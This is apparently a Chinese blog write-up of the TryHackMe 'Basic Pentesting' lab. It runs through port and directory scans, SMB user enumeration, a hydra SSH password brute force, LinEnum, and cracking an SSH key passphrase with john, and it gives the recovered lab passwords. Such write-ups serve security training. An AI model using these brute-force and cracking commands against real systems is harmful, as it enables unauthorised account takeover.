Basic Pentesting
来自tryhackme的 Basic Pentesting
开靶场IP:10.10.227.255
# nmap 端口扫描
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8080/tcp open http Apache Tomcat 9.0.7
# gobuster 目录扫描
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/development (Status: 301)
/index.html (Status: 200)
/server-status (Status: 403)
在/development发现
#
2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think it might be neat
to host that on this server too. Haven't made any real web apps yet, but I have tried that example
you get to show off how it works (and it's the REST version of the example!). Oh, and right now I'm
using version 2.5.12, because other versions were giving me trouble. -K
2018-04-22: SMB has been configured. -K
2018-04-21: I got Apache set up. Will put in our content later. -J
#
For J:
I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials,
and I was able to crack your hash really easily. You know our password policy, so please follow
it? Change that password ASAP.
-K
根据提示工具 使用 SMB 查找用户名怎么样?
/root/Desktop/Tools/Miscellaneous/enum4linux.pl -a 10.10.227.255
S-1-22-1-1000 Unix User\kay (Local User)
S-1-22-1-1001 Unix User\jan (Local User)
得到用户名jan
使用hydra爆破ssh密码
hydra -t 4 -l jan -P /usr/share/wordlists/rockyou.txt 10.10.227.255 ssh
......等了很久大概有十分钟的样子
passwd:armando
按照提示使用LinEnum找到到登录的ssh
https://github.com/rebootuser/LinEnum(开箱即用)
/home/kay/.ssh/id_rsa
使用
ssh2john rsa_a.id_rsa >id_rsa_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash.txt
破解密码为
beeswax(很快)
登录
ssh -i id_rsa kay@10.10.227.255
即可
本文作者:gvpn
本文链接:https://www.cnblogs.com/-Lucky-/p/17170754.html
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步